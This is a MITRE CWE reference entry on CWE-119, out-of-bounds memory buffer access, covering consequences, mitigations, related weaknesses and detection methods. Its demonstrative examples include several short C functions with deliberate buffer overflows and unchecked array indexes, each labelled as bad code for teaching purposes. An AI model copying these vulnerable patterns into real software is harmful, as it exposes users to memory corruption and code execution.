Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. Diagram for CWE-119
+ Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

+ Alternate Terms
Buffer Overflow:
This term has many different meanings to different audiences. From a CWE mapping perspective, this term should be avoided where possible. Some researchers, developers, and tools intend for it to mean "write past the end of a buffer," whereas others use the same term to mean "any read or write outside the boundaries of a buffer, whether before the beginning of the buffer or after the end of the buffer." Others could mean "any action after the end of a buffer, whether it is a read or write." Since the term is commonly used for exploitation and for vulnerabilities, it further confuses things.
buffer overrun:
Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow." See the alternate term for "buffer overflow" for context.
memory safety:
Generally used for techniques that avoid weaknesses related to memory access, such as those identified by CWE-119 and its descendants. However, the term is not formal, and there is likely disagreement between practitioners as to which weaknesses are implicitly covered by the "memory safety" term.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands; Modify Memory

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can alter the intended control flow by redirecting a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
Availability
Confidentiality

Technical Impact: Read Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Confidentiality

Technical Impact: Read Memory

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffer's position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.118Incorrect Access of Indexable Resource ('Range Error')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.466Return of Pointer Value Outside of Expected Range
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.128Wrap-around Error
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.129Improper Validation of Array Index
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.195Signed to Unsigned Conversion Error
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.839Numeric Range Comparison Without Minimum Check
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.843Access of Resource Using Incompatible Type ('Type Confusion')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1257Improper Access Control Applied to Mirrored or Aliased Memory Regions
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1260Improper Handling of Overlap Between Protected Memory Ranges
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1339Insufficient Precision or Accuracy of a Real Number
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.130Improper Handling of Length Parameter Inconsistency
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.130Improper Handling of Length Parameter Inconsistency
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Background Details
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Assembly (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).


Example 2

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){
/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.


Example 3

The following example asks a user for an offset into an array to select an item.

(bad code)
Example Language:

int main (int argc, char **argv) {
char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);
}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).


Example 4

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)
Example Language:
int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {
// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message
// and return value indicating error
else {
printf("Value is: %d\n", array[index]);
value = -1;
}

return value;
}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(good code)
Example Language:

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...

Example 5

Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen


+ Observed Examples
ReferenceDescription
Incorrect URI normalization in application traffic product leads to buffer overflow, as exploited in the wild per CISA KEV.
Buffer overflow in Wi-Fi router web interface, as exploited in the wild per CISA KEV.
Classic stack-based buffer overflow in media player using a long entry in a playlist
Heap-based buffer overflow in media player using a long entry in a playlist
large precision value in a format string triggers overflow
negative offset value leads to out-of-bounds read
malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
chain: lack of synchronization leads to memory corruption
Chain: machine-learning product can have a heap-based buffer overflow (CWE-122) when some integer-oriented bounds are calculated by using ceiling() and floor() on floating point values (CWE-1339)
attacker-controlled array index leads to code execution
chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
chain: incorrect calculations lead to incorrect pointer dereference and memory corruption
product accepts crafted messages that lead to a dereference of an arbitrary pointer
chain: malformed input causes dereference of uninitialized memory
OS kernel trusts userland-supplied length value, allowing reading of sensitive information
Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology.
buffer overflow involving a regular expression with a large number of captures
chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode Quality Analysis
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Source Code Quality Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.726OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.740CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
